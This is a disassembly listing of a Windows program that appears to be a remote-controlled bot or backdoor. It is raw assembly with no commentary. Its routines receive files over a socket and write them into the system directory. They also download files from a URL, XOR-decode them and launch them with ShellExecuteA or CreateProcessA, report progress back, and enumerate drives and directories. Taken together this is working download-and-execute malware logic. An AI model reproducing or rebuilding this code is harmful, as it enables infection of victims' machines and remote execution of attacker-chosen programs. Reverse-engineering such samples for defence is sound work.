loc_41672F: ; CODE XREF: sub_4163CE+2AFj
; sub_4163CE+2BAj
push esi
mov esi, offset dword_43A2AC
push [ebp+var_54]
lea eax, [ebp+var_DC]
push esi
push eax
push [ebp+var_1FC]
call sub_409743
push esi
call sub_415F45
add esp, 18h
push [ebp+var_1F8]
call dword_4CE3A0 ; closesocket
push [ebp+var_58]
call sub_40B56A
pop ecx
push ebx
call dword_4280D4 ; ExitThread
sub_4163CE endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_416770 proc near ; DATA XREF: sub_401AA1+76Do
var_14C4 = byte ptr -14C4h
var_4C4 = byte ptr -4C4h
var_2C4 = byte ptr -2C4h
var_1C0 = dword ptr -1C0h
var_1B8 = byte ptr -1B8h
var_1A4 = byte ptr -1A4h
var_A0 = byte ptr -0A0h
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
mov eax, 14C4h
call sub_41C190
mov eax, [ebp+arg_0]
push ebx
push esi
push edi
push 6Dh
mov esi, eax
pop ecx
lea edi, [ebp+var_1C0]
rep movsd
xor esi, esi
xor ebx, ebx
inc esi
push 104h
mov [eax+1B0h], esi
lea eax, [ebp+var_2C4]
push eax
mov [ebp+var_8], ebx
call dword_42807C ; GetSystemDirectoryA
lea eax, [ebp+var_1A4]
push eax
lea eax, [ebp+var_2C4]
push eax
lea eax, [ebp+var_2C4]
push offset dword_42B478
push eax
call sub_41BEF6
add esp, 10h
lea eax, [ebp+var_2C4]
push ebx
push 80h
push 2
push ebx
push esi
push 40000000h
push eax
call dword_4280F8 ; CreateFileA
cmp eax, 0FFFFFFFFh
jnz short loc_4167FA
push offset unk_43A428
jmp short loc_416840
; ---------------------------------------------------------------------------
loc_4167FA: ; CODE XREF: sub_416770+81j
push eax
call dword_428070 ; CloseHandle
lea eax, [ebp+var_2C4]
push offset aAB ; "a+b"
push eax
call sub_41BB32
pop ecx
cmp eax, ebx
pop ecx
mov [ebp+var_4], eax
jnz short loc_416822
push offset unk_43A3F8
jmp short loc_416840
; ---------------------------------------------------------------------------
loc_416822: ; CODE XREF: sub_416770+A9j
push [ebp+var_20]
lea eax, [ebp+var_1B8]
push eax
call sub_416187
pop ecx
cmp eax, 0FFFFFFFFh
pop ecx
mov [ebp+arg_0], eax
jnz short loc_416853
push offset unk_43A3D8
loc_416840: ; CODE XREF: sub_416770+88j
; sub_416770+B0j
lea eax, [ebp+var_4C4]
push eax
call sub_41BEF6
pop ecx
pop ecx
jmp loc_41694D
; ---------------------------------------------------------------------------
loc_416853: ; CODE XREF: sub_416770+C9j
mov esi, 1000h
loc_416858: ; CODE XREF: sub_416770+14Ej
push esi
lea eax, [ebp+var_14C4]
push ebx
push eax
call sub_41BC00
add esp, 0Ch
lea eax, [ebp+var_14C4]
push ebx
push esi
push eax
push [ebp+arg_0]
call dword_4CE320 ; recv
mov edi, eax
cmp edi, ebx
jz loc_41691F
cmp edi, 0FFFFFFFFh
jz short loc_4168C0
push [ebp+var_4]
lea eax, [ebp+var_14C4]
push edi
push 1
push eax
call sub_41D954
add [ebp+var_8], edi
add esp, 10h
push [ebp+var_8]
call dword_4CE304 ; ntohl
mov [ebp+var_C], eax
push ebx
lea eax, [ebp+var_C]
push 4
push eax
push [ebp+arg_0]
call dword_4CE358 ; send
jmp short loc_416858
; ---------------------------------------------------------------------------
loc_4168C0: ; CODE XREF: sub_416770+118j
lea eax, [ebp+var_4C4]
push offset dword_43A2AC
push eax
call sub_41BEF6
push ebx
lea eax, [ebp+var_4C4]
push [ebp+var_18]
push eax
lea eax, [ebp+var_A0]
push eax
push [ebp+var_1C0]
call sub_409743
lea eax, [ebp+var_4C4]
push eax
call sub_415F45
push [ebp+var_4]
call sub_41B6CB
add esp, 24h
push [ebp+arg_0]
call dword_4CE3A0 ; closesocket
push [ebp+var_1C]
call sub_40B56A
pop ecx
push 1
call dword_4280D4 ; ExitThread
loc_41691F: ; CODE XREF: sub_416770+10Fj
mov eax, [ebp+var_8]
cdq
push edx
push eax
call sub_416EC1
push eax
lea eax, [ebp+var_1B8]
push eax
lea eax, [ebp+var_1A4]
push eax
lea eax, [ebp+var_4C4]
push offset unk_43A3AC
push eax
call sub_41BEF6
add esp, 1Ch
loc_41694D: ; CODE XREF: sub_416770+DEj
cmp [ebp+var_14], ebx
jnz short loc_416972
push ebx
lea eax, [ebp+var_4C4]
push [ebp+var_18]
push eax
lea eax, [ebp+var_A0]
push eax
push [ebp+var_1C0]
call sub_409743
add esp, 14h
loc_416972: ; CODE XREF: sub_416770+1E0j
lea eax, [ebp+var_4C4]
push eax
call sub_415F45
cmp [ebp+var_4], ebx
pop ecx
jz short loc_41698D
push [ebp+var_4]
call sub_41B6CB
pop ecx
loc_41698D: ; CODE XREF: sub_416770+212j
cmp [ebp+arg_0], ebx
jbe short loc_41699B
push [ebp+arg_0]
call dword_4CE3A0 ; closesocket
loc_41699B: ; CODE XREF: sub_416770+220j
push [ebp+var_1C]
call sub_40B56A
pop ecx
push ebx
call dword_4280D4 ; ExitThread
sub_416770 endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4169AB proc near ; DATA XREF: sub_401AA1+615Co
; sub_401AA1+6985o
var_590 = qword ptr -590h
var_584 = qword ptr -584h
var_510 = byte ptr -510h
var_310 = dword ptr -310h
var_304 = dword ptr -304h
var_2E4 = dword ptr -2E4h
var_2E0 = word ptr -2E0h
var_2CC = dword ptr -2CCh
var_2C8 = byte ptr -2C8h
var_248 = byte ptr -248h
var_148 = byte ptr -148h
var_48 = dword ptr -48h
var_44 = dword ptr -44h
var_40 = dword ptr -40h
var_3C = dword ptr -3Ch
var_38 = dword ptr -38h
var_34 = dword ptr -34h
var_30 = dword ptr -30h
var_2C = dword ptr -2Ch
var_24 = byte ptr -24h
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = byte ptr -10h
var_8 = qword ptr -8
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 510h
mov eax, [ebp+arg_0]
push ebx
push esi
push edi
mov ecx, 0AAh
mov esi, eax
lea edi, [ebp+var_2CC]
rep movsd
xor edi, edi
xor esi, esi
inc edi
push esi
mov [eax+2A4h], edi
push esi
push esi
lea eax, [ebp+var_248]
push esi
push eax
push dword_4CE2B8
call dword_4CE20C ; InternetOpenUrlA
cmp eax, esi
mov [ebp+var_18], eax
jz loc_416E24
push esi
push esi
push 2
push esi
push esi
lea eax, [ebp+var_148]
push 40000000h
push eax
call dword_4280F8 ; CreateFileA
cmp eax, edi
mov [ebp+var_20], eax
jnb short loc_416A72
lea eax, [ebp+var_148]
push eax
lea eax, [ebp+var_510]
push offset dword_43A780
push eax
call sub_41BEF6
add esp, 0Ch
cmp [ebp+var_30], esi
jnz short loc_416A55
push esi
lea eax, [ebp+var_510]
push [ebp+var_2C]
push eax
lea eax, [ebp+var_2C8]
push eax
push [ebp+var_2CC]
call sub_409743
add esp, 14h
loc_416A55: ; CODE XREF: sub_4169AB+88j
lea eax, [ebp+var_510]
push eax
call sub_415F45
push [ebp+var_48]
call sub_40B56A
pop ecx
pop ecx
push esi
call dword_4280D4 ; ExitThread
loc_416A72: ; CODE XREF: sub_4169AB+68j
xor edi, edi
call dword_4280B0 ; GetTickCount
mov ebx, 7D000h
mov dword ptr [ebp+var_8+4], eax
push ebx
call sub_41BB45
pop ecx
mov [ebp+var_1C], eax
loc_416A8C: ; CODE XREF: sub_4169AB+1A9j
push 200h
lea eax, [ebp+var_510]
push esi
push eax
call sub_41BC00
add esp, 0Ch
lea eax, [ebp+arg_0]
push eax
lea eax, [ebp+var_510]
push 200h
push eax
push [ebp+var_18]
call dword_4CE214 ; InternetReadFile
cmp [ebp+var_34], esi
jz short loc_416AD0
push [ebp+arg_0]
lea eax, [ebp+var_510]
push eax
call sub_416E8A
pop ecx
pop ecx
loc_416AD0: ; CODE XREF: sub_4169AB+112j
lea eax, [ebp+var_24]
push esi
push eax
lea eax, [ebp+var_510]
push [ebp+arg_0]
push eax
push [ebp+var_20]
call dword_4280F0 ; WriteFile
cmp edi, ebx
jnb short loc_416B0E
mov eax, ebx
sub eax, edi
cmp eax, [ebp+arg_0]
jbe short loc_416AF8
mov eax, [ebp+arg_0]
loc_416AF8: ; CODE XREF: sub_4169AB+148j
push eax
lea eax, [ebp+var_510]
push eax
mov eax, [ebp+var_1C]
add eax, edi
push eax
call near ptr sub_41C9B0
add esp, 0Ch
loc_416B0E: ; CODE XREF: sub_4169AB+13Fj
add edi, [ebp+arg_0]
cmp [ebp+var_3C], esi
jz short loc_416B1B
cmp edi, [ebp+var_3C]
ja short loc_416B5A
loc_416B1B: ; CODE XREF: sub_4169AB+169j
mov eax, edi
shr eax, 0Ah
push eax
lea eax, [ebp+var_248]
push eax
mov eax, [ebp+var_48]
imul eax, 234h
add eax, offset dword_441048
cmp [ebp+var_44], 1
jz short loc_416B43
push offset dword_43A730
jmp short loc_416B48
; ---------------------------------------------------------------------------
loc_416B43: ; CODE XREF: sub_4169AB+18Fj
push offset dword_43A6E0
loc_416B48: ; CODE XREF: sub_4169AB+196j
push eax
call sub_41BEF6
add esp, 10h
cmp [ebp+arg_0], esi
ja loc_416A8C
loc_416B5A: ; CODE XREF: sub_4169AB+16Ej
cmp [ebp+var_3C], esi
mov [ebp+var_14], 1
jz short loc_416BAF
cmp edi, [ebp+var_3C]
jz short loc_416BAF
push [ebp+var_3C]
lea eax, [ebp+var_510]
mov [ebp+var_14], esi
push edi
push offset dword_43A690
push eax
call sub_41BEF6
push esi
lea eax, [ebp+var_510]
push [ebp+var_2C]
push eax
lea eax, [ebp+var_2C8]
push eax
push [ebp+var_2CC]
call sub_409743
lea eax, [ebp+var_510]
push eax
call sub_415F45
add esp, 28h
loc_416BAF: ; CODE XREF: sub_4169AB+1B9j
; sub_4169AB+1BEj
call dword_4280B0 ; GetTickCount
sub eax, dword ptr [ebp+var_8+4]
xor edx, edx
mov ecx, 3E8h
push [ebp+var_20]
div ecx
xor edx, edx
mov ecx, eax
mov eax, edi
inc ecx
div ecx
mov ebx, eax
call dword_428070 ; CloseHandle
push [ebp+var_1C]
call sub_41B721
cmp [ebp+var_38], esi
pop ecx
jz short loc_416C39
lea eax, [ebp+var_148]
push eax
call sub_4010AA
cmp eax, [ebp+var_38]
pop ecx
jz short loc_416C39
push [ebp+var_38]
mov [ebp+var_14], esi
push eax
lea eax, [ebp+var_510]
push offset dword_43A640
push eax
call sub_41BEF6
push esi
lea eax, [ebp+var_510]
push [ebp+var_2C]
push eax
lea eax, [ebp+var_2C8]
push eax
push [ebp+var_2CC]
call sub_409743
lea eax, [ebp+var_510]
push eax
call sub_415F45
add esp, 28h
loc_416C39: ; CODE XREF: sub_4169AB+236j
; sub_4169AB+248j
cmp [ebp+var_14], esi
jz loc_416E71
cmp [ebp+var_44], 1
push ecx
lea eax, [ebp+var_148]
push ecx
jz loc_416D34
mov dword ptr [ebp+var_8], ebx
mov dword ptr [ebp+var_8+4], esi
fild [ebp+var_8]
mov dword ptr [ebp+var_8], edi
mov dword ptr [ebp+var_8+4], esi
fmul dbl_428698
fstp [esp+584h+var_584]
fild [ebp+var_8]
push eax
push ecx
push ecx
lea eax, [ebp+var_510]
fmul dbl_428698
fstp [esp+590h+var_590]
push offset dword_43A5D8
push eax
call sub_41BEF6
add esp, 1Ch
cmp [ebp+var_30], esi
jnz short loc_416CB4
push esi
lea eax, [ebp+var_510]
push [ebp+var_2C]
push eax
lea eax, [ebp+var_2C8]
push eax
push [ebp+var_2CC]
call sub_409743
add esp, 14h
loc_416CB4: ; CODE XREF: sub_4169AB+2E7j
lea eax, [ebp+var_510]
push eax
call sub_415F45
cmp [ebp+var_40], 1
pop ecx
jnz loc_416E71
push 5
push esi
lea eax, [ebp+var_148]
push esi
push eax
push offset aOpen ; "open"
push esi
call dword_4CE274 ; ShellExecuteA
cmp [ebp+var_30], esi
jnz loc_416E71
lea eax, [ebp+var_148]
push eax
lea eax, [ebp+var_510]
push offset dword_43A598
push eax
call sub_41BEF6
push esi
lea eax, [ebp+var_510]
push [ebp+var_2C]
push eax
lea eax, [ebp+var_2C8]
push eax
push [ebp+var_2CC]
call sub_409743
lea eax, [ebp+var_510]
push eax
call sub_415F45
add esp, 24h
jmp loc_416E71
; ---------------------------------------------------------------------------
loc_416D34: ; CODE XREF: sub_4169AB+2A3j
mov dword ptr [ebp+var_8], ebx
mov dword ptr [ebp+var_8+4], esi
fild [ebp+var_8]
mov dword ptr [ebp+var_8], edi
mov dword ptr [ebp+var_8+4], esi
fmul dbl_428698
fstp [esp+584h+var_584]
fild [ebp+var_8]
push eax
push ecx
push ecx
lea eax, [ebp+var_510]
fmul dbl_428698
fstp [esp+590h+var_590]
push offset dword_43A518
push eax
call sub_41BEF6
add esp, 1Ch
cmp [ebp+var_30], esi
jnz short loc_416D94
push esi
lea eax, [ebp+var_510]
push [ebp+var_2C]
push eax
lea eax, [ebp+var_2C8]
push eax
push [ebp+var_2CC]
call sub_409743
add esp, 14h
loc_416D94: ; CODE XREF: sub_4169AB+3C7j
lea eax, [ebp+var_510]
push eax
call sub_415F45
push 10h
lea eax, [ebp+var_10]
push esi
push eax
call sub_41BC00
push 44h
lea eax, [ebp+var_310]
pop edi
push edi
push esi
push eax
call sub_41BC00
add esp, 1Ch
lea eax, [ebp+var_10]
mov [ebp+var_310], edi
xor edi, edi
push eax
lea eax, [ebp+var_310]
push eax
push esi
push esi
push 28h
push esi
push esi
lea eax, [ebp+var_148]
push esi
inc edi
push eax
push esi
mov [ebp+var_304], offset byte_4404C4
mov [ebp+var_2E4], edi
mov [ebp+var_2E0], si
call dword_428074 ; CreateProcessA
cmp eax, edi
jnz short loc_416E16
call dword_4CE260 ; WSACleanup
call sub_4189E4
push esi
call dword_42806C ; ExitProcess
loc_416E16: ; CODE XREF: sub_4169AB+457j
lea eax, [ebp+var_148]
push eax
push offset dword_43A4B0
jmp short loc_416E30
; ---------------------------------------------------------------------------
loc_416E24: ; CODE XREF: sub_4169AB+45j
lea eax, [ebp+var_248]
push eax
push offset dword_43A458
loc_416E30: ; CODE XREF: sub_4169AB+477j
lea eax, [ebp+var_510]
push eax
call sub_41BEF6
add esp, 0Ch
cmp [ebp+var_30], esi
jnz short loc_416E64
push esi
lea eax, [ebp+var_510]
push [ebp+var_2C]
push eax
lea eax, [ebp+var_2C8]
push eax
push [ebp+var_2CC]
call sub_409743
add esp, 14h
loc_416E64: ; CODE XREF: sub_4169AB+497j
lea eax, [ebp+var_510]
push eax
call sub_415F45
pop ecx
loc_416E71: ; CODE XREF: sub_4169AB+291j
; sub_4169AB+31Aj ...
push [ebp+var_18]
call dword_4CE33C ; InternetCloseHandle
push [ebp+var_48]
call sub_40B56A
pop ecx
push esi
call dword_4280D4 ; ExitThread
sub_4169AB endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
sub_416E8A proc near ; CODE XREF: sub_4169AB+11Ep
arg_0 = dword ptr 4
arg_4 = dword ptr 8
mov eax, [esp+arg_0]
xor ecx, ecx
cmp [esp+arg_4], ecx
jle short locret_416EA6
loc_416E96: ; CODE XREF: sub_416E8A+1Aj
mov dl, byte_42A980
xor [ecx+eax], dl
inc ecx
cmp ecx, [esp+arg_4]
jl short loc_416E96
locret_416EA6: ; CODE XREF: sub_416E8A+Aj
retn
sub_416E8A endp
; =============== S U B R O U T I N E =======================================
sub_416EA7 proc near ; CODE XREF: sub_401AA1+573Fp
; sub_401AA1+587Fp
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push [esp+arg_4]
push [esp+4+arg_0]
call sub_41DA5E
pop ecx
pop ecx
xor ecx, ecx
cmp eax, 0FFFFFFFFh
setnz cl
mov eax, ecx
retn
sub_416EA7 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_416EC1 proc near ; CODE XREF: sub_41061F+462p
; sub_41061F+5FEp ...
var_38 = byte ptr -38h
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 38h
and [ebp+var_4], 0
push ebx
push esi
push edi
push 32h
mov edi, offset dword_4D5EF8
push 0
push edi
call sub_41BC00
mov ebx, [ebp+arg_0]
add esp, 0Ch
lea esi, [ebp+var_38]
loc_416EE6: ; CODE XREF: sub_416EC1+5Bj
; sub_416EC1+61j
push 0
push 0Ah
push [ebp+arg_4]
push ebx
call sub_41DB20
push 0
push 0Ah
push [ebp+arg_4]
add al, 30h
mov [esi], al
inc esi
push ebx
call sub_41DAB0
mov ebx, eax
or eax, edx
mov [ebp+arg_4], edx
jz short loc_416F24
inc [ebp+var_4]
push 3
mov eax, [ebp+var_4]
pop ecx
cdq
idiv ecx
test edx, edx
jnz short loc_416EE6
mov byte ptr [esi], 2Ch
inc esi
jmp short loc_416EE6
; ---------------------------------------------------------------------------
loc_416F24: ; CODE XREF: sub_416EC1+4Bj
mov eax, edi
jmp short loc_416F2D
; ---------------------------------------------------------------------------
loc_416F28: ; CODE XREF: sub_416EC1+72j
mov cl, [esi]
mov [eax], cl
inc eax
loc_416F2D: ; CODE XREF: sub_416EC1+65j
dec esi
lea ecx, [ebp+var_38]
cmp esi, ecx
jnb short loc_416F28
and byte ptr [eax], 0
mov eax, edi
pop edi
pop esi
pop ebx
leave
retn
sub_416EC1 endp
; =============== S U B R O U T I N E =======================================
sub_416F3F proc near ; CODE XREF: sub_4170EB+51p
; sub_4170EB+87p
arg_0 = dword ptr 4
push [esp+arg_0]
call dword_4CE368 ; GetDriveTypeA
sub eax, 0
jz short loc_416F82
dec eax
jz short loc_416F7C
dec eax
dec eax
jz short loc_416F76
dec eax
jz short loc_416F70
dec eax
jz short loc_416F6A
dec eax
jz short loc_416F64
mov eax, offset word_43A7FC
retn
; ---------------------------------------------------------------------------
loc_416F64: ; CODE XREF: sub_416F3F+1Dj
mov eax, offset off_43A7F8
retn
; ---------------------------------------------------------------------------
loc_416F6A: ; CODE XREF: sub_416F3F+1Aj
mov eax, offset aCdrom ; "Cdrom"
retn
; ---------------------------------------------------------------------------
loc_416F70: ; CODE XREF: sub_416F3F+17j
mov eax, offset aNetwork ; "Network"
retn
; ---------------------------------------------------------------------------
loc_416F76: ; CODE XREF: sub_416F3F+14j
mov eax, offset aDisk ; "Disk"
retn
; ---------------------------------------------------------------------------
loc_416F7C: ; CODE XREF: sub_416F3F+10j
mov eax, offset aInvalid ; "Invalid"
retn
; ---------------------------------------------------------------------------
loc_416F82: ; CODE XREF: sub_416F3F+Dj
mov eax, offset aUnknown ; "Unknown"
retn
sub_416F3F endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_416F88 proc near ; CODE XREF: sub_416FD0+12p
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 18h
or eax, 0FFFFFFFFh
mov [ebp+var_18], eax
mov [ebp+var_14], eax
mov [ebp+var_10], eax
mov [ebp+var_C], eax
mov [ebp+var_8], eax
mov [ebp+var_4], eax
mov eax, dword_4CE1F8
test eax, eax
jz short loc_416FBD
lea ecx, [ebp+var_10]
push ecx
lea ecx, [ebp+var_8]
push ecx
lea ecx, [ebp+var_18]
push ecx
push [ebp+arg_4]
call eax ; GetDiskFreeSpaceExA
loc_416FBD: ; CODE XREF: sub_416F88+22j
mov eax, [ebp+arg_0]
push esi
push edi
push 6
pop ecx
lea esi, [ebp+var_18]
mov edi, eax
rep movsd
pop edi
pop esi
leave
retn
sub_416F88 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_416FD0 proc near ; CODE XREF: sub_4170EB+17p
; sub_41B0A1+1F3p
var_198 = byte ptr -198h
var_118 = byte ptr -118h
var_98 = byte ptr -98h
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 198h
push esi
push edi
push [ebp+arg_4]
lea eax, [ebp+var_18]
push eax
call sub_416F88
pop ecx
mov esi, eax
pop ecx
lea edi, [ebp+var_18]
push 6
pop ecx
rep movsd
mov eax, [ebp+var_18]
and eax, [ebp+var_14]
cmp eax, 0FFFFFFFFh
jz loc_4170A8
mov eax, [ebp+var_10]
and eax, [ebp+var_C]
cmp eax, 0FFFFFFFFh
jz loc_4170A8
mov eax, [ebp+var_8]
and eax, [ebp+var_4]
cmp eax, 0FFFFFFFFh
jz loc_4170A8
push ebx
mov ebx, 400h
push 0
push ebx
push [ebp+var_14]
push [ebp+var_18]
call sub_41DBA0
push edx
push eax
call sub_416EC1
mov edi, offset aSkb ; "%sKB"
push eax
mov esi, 80h
push edi
lea eax, [ebp+var_198]
push esi
push eax
call sub_41BFF0
add esp, 18h
push 0
push ebx
push [ebp+var_C]
push [ebp+var_10]
call sub_41DBA0
push edx
push eax
call sub_416EC1
push eax
push edi
lea eax, [ebp+var_118]
push esi
push eax
call sub_41BFF0
add esp, 18h
push 0
push ebx
push [ebp+var_4]
push [ebp+var_8]
call sub_41DBA0
push edx
push eax
call sub_416EC1
push eax
push edi
lea eax, [ebp+var_98]
push esi
push eax
call sub_41BFF0
add esp, 18h
pop ebx
jmp short loc_4170D7
; ---------------------------------------------------------------------------
loc_4170A8: ; CODE XREF: sub_416FD0+2Cj
; sub_416FD0+3Bj ...
mov esi, offset aFailed ; "failed"
lea eax, [ebp+var_198]
push esi
push eax
call sub_41BEF6
lea eax, [ebp+var_118]
push esi
push eax
call sub_41BEF6
lea eax, [ebp+var_98]
push esi
push eax
call sub_41BEF6
add esp, 18h
loc_4170D7: ; CODE XREF: sub_416FD0+D6j
mov eax, [ebp+arg_0]
push 60h
pop ecx
lea esi, [ebp+var_198]
mov edi, eax
rep movsd
pop edi
pop esi
leave
retn
sub_416FD0 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4170EB proc near ; CODE XREF: sub_4171BD+17p
; sub_4171BD+60p
var_500 = byte ptr -500h
var_300 = byte ptr -300h
var_180 = byte ptr -180h
var_100 = byte ptr -100h
var_80 = byte ptr -80h
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
sub esp, 500h
push ebx
mov ebx, [ebp+arg_C]
push esi
push edi
lea eax, [ebp+var_300]
push ebx
push eax
call sub_416FD0
push 60h
mov esi, eax
pop ecx
lea edi, [ebp+var_300]
rep movsd
push 60h
lea esi, [ebp+var_300]
pop ecx
lea edi, [ebp+var_180]
lea eax, [ebp+var_80]
push offset aFailed ; "failed"
rep movsd
push eax
call sub_41C6E0
add esp, 10h
test eax, eax
jnz short loc_41715E
push ebx
push ebx
call sub_416F3F
pop ecx
push eax
push offset dword_43A868
lea eax, [ebp+var_500]
push 200h
push eax
call sub_41BFF0
add esp, 14h
jmp short loc_417192
; ---------------------------------------------------------------------------
loc_41715E: ; CODE XREF: sub_4170EB+4Dj
lea eax, [ebp+var_180]
push eax
lea eax, [ebp+var_100]
push eax
lea eax, [ebp+var_80]
push eax
push ebx
push ebx
call sub_416F3F
pop ecx
push eax
push offset dword_43A810
lea eax, [ebp+var_500]
push 200h
push eax
call sub_41BFF0
add esp, 20h
loc_417192: ; CODE XREF: sub_4170EB+71j
push 1
lea eax, [ebp+var_500]
push [ebp+arg_8]
push eax
push [ebp+arg_4]
push [ebp+arg_0]
call sub_409743
lea eax, [ebp+var_500]
push eax
call sub_415F45
add esp, 18h
pop edi
pop esi
pop ebx
leave
retn
sub_4170EB endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4171BD proc near ; CODE XREF: sub_401AA1+24F1p
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
push ebx
xor ebx, ebx
cmp [ebp+arg_C], ebx
jz short loc_4171DE
push [ebp+arg_C]
push [ebp+arg_8]
push [ebp+arg_4]
push [ebp+arg_0]
call sub_4170EB
add esp, 10h
jmp short loc_41723D
; ---------------------------------------------------------------------------
loc_4171DE: ; CODE XREF: sub_4171BD+9j
push esi
push edi
push ebx
push ebx
call dword_4CE270 ; GetLogicalDriveStringsA
lea esi, [eax+2]
push esi
call sub_41BB45
pop ecx
mov edi, eax
push edi
push esi
call dword_4CE270 ; GetLogicalDriveStringsA
cmp [edi], bl
mov esi, edi
jz short loc_417234
loc_417202: ; CODE XREF: sub_4171BD+75j
push offset aA_1 ; "A:\\"
push esi
call sub_41C6E0
pop ecx
test eax, eax
pop ecx
jz short loc_417225
push esi
push [ebp+arg_8]
push [ebp+arg_4]
push [ebp+arg_0]
call sub_4170EB
add esp, 10h
loc_417225: ; CODE XREF: sub_4171BD+54j
push esi
call sub_41B650
lea esi, [esi+eax+1]
pop ecx
cmp [esi], bl
jnz short loc_417202
loc_417234: ; CODE XREF: sub_4171BD+43j
push edi
call sub_41B721
pop ecx
pop edi
pop esi
loc_41723D: ; CODE XREF: sub_4171BD+1Fj
pop ebx
pop ebp
retn
sub_4171BD endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_417240 proc near ; DATA XREF: sub_401AA1+676Do
var_49C = byte ptr -49Ch
var_29C = dword ptr -29Ch
var_298 = byte ptr -298h
var_218 = byte ptr -218h
var_115 = byte ptr -115h
var_114 = byte ptr -114h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 49Ch
mov eax, [ebp+arg_0]
push ebx
push esi
push edi
mov ecx, 0A7h
mov esi, eax
lea edi, [ebp+var_29C]
rep movsd
mov dword ptr [eax+298h], 1
lea eax, [ebp+var_114]
push eax
call sub_41B650
xor ebx, ebx
cmp [ebp+eax+var_115], 5Ch
pop ecx
jnz short loc_417295
lea eax, [ebp+var_114]
push eax
call sub_41B650
pop ecx
mov [ebp+eax+var_115], bl
loc_417295: ; CODE XREF: sub_417240+3Fj
lea eax, [ebp+var_218]
push eax
push offset unk_43A8E4
lea eax, [ebp+var_49C]
push 200h
push eax
call sub_41BFF0
add esp, 10h
cmp [ebp+var_8], ebx
jnz short loc_4172DA
push ebx
lea eax, [ebp+var_49C]
push [ebp+var_C]
push eax
lea eax, [ebp+var_298]
push eax
push [ebp+var_29C]
call sub_409743
add esp, 14h
loc_4172DA: ; CODE XREF: sub_417240+78j
lea eax, [ebp+var_114]
push ebx
push eax
lea eax, [ebp+var_218]
push eax
lea eax, [ebp+var_298]
push [ebp+var_C]
push eax
push [ebp+var_29C]
call sub_417358
push eax
lea eax, [ebp+var_49C]
push offset dword_43A8C4
push eax
call sub_41BEF6
add esp, 24h
cmp [ebp+var_8], ebx
jnz short loc_417338
push ebx
lea eax, [ebp+var_49C]
push [ebp+var_C]
push eax
lea eax, [ebp+var_298]
push eax
push [ebp+var_29C]
call sub_409743
add esp, 14h
loc_417338: ; CODE XREF: sub_417240+D6j
lea eax, [ebp+var_49C]
push eax
call sub_415F45
push [ebp+var_10]
call sub_40B56A
pop ecx
pop ecx
push ebx
call dword_4280D4 ; ExitThread
pop edi
pop esi
pop ebx
sub_417240 endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_417358 proc near ; CODE XREF: sub_417240+B9p
; sub_417358+9Ep
var_54C = byte ptr -54Ch
var_34C = byte ptr -34Ch
var_248 = byte ptr -248h
var_144 = byte ptr -144h
var_118 = byte ptr -118h
var_117 = byte ptr -117h
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
arg_14 = dword ptr 1Ch
push ebp
mov ebp, esp
sub esp, 54Ch
push ebx
push esi
push edi
mov esi, 104h
push [ebp+arg_10]
lea eax, [ebp+var_248]
push offset dword_43A928
push esi
push eax
call sub_41BFF0
mov edi, dword_428128
add esp, 10h
lea eax, [ebp+var_144]
push eax
lea eax, [ebp+var_248]
push eax
call edi ; FindFirstFileA
cmp eax, 0FFFFFFFFh
mov [ebp+var_4], eax
mov ebx, offset dword_42B470
jz short loc_417415
loc_4173A4: ; CODE XREF: sub_417358+BBj
test [ebp+var_144], 10h
jz short loc_417401
cmp [ebp+var_118], 2Eh
jnz short loc_4173C8
cmp [ebp+var_117], 0
jz short loc_417401
cmp [ebp+var_117], 2Eh
jz short loc_417401
loc_4173C8: ; CODE XREF: sub_417358+5Cj
lea eax, [ebp+var_118]
push eax
lea eax, [ebp+var_34C]
push [ebp+arg_10]
push ebx
push esi
push eax
call sub_41BFF0
push [ebp+arg_14]
lea eax, [ebp+var_34C]
push eax
push [ebp+arg_C]
push [ebp+arg_8]
push [ebp+arg_4]
push [ebp+arg_0]
call sub_417358
add esp, 2Ch
mov [ebp+arg_14], eax
loc_417401: ; CODE XREF: sub_417358+53j
; sub_417358+65j ...
lea eax, [ebp+var_144]
push eax
push [ebp+var_4]
call dword_428124 ; FindNextFileA
test eax, eax
jnz short loc_4173A4
loc_417415: ; CODE XREF: sub_417358+4Aj
push [ebp+var_4]
call dword_42811C ; FindClose
push [ebp+arg_C]
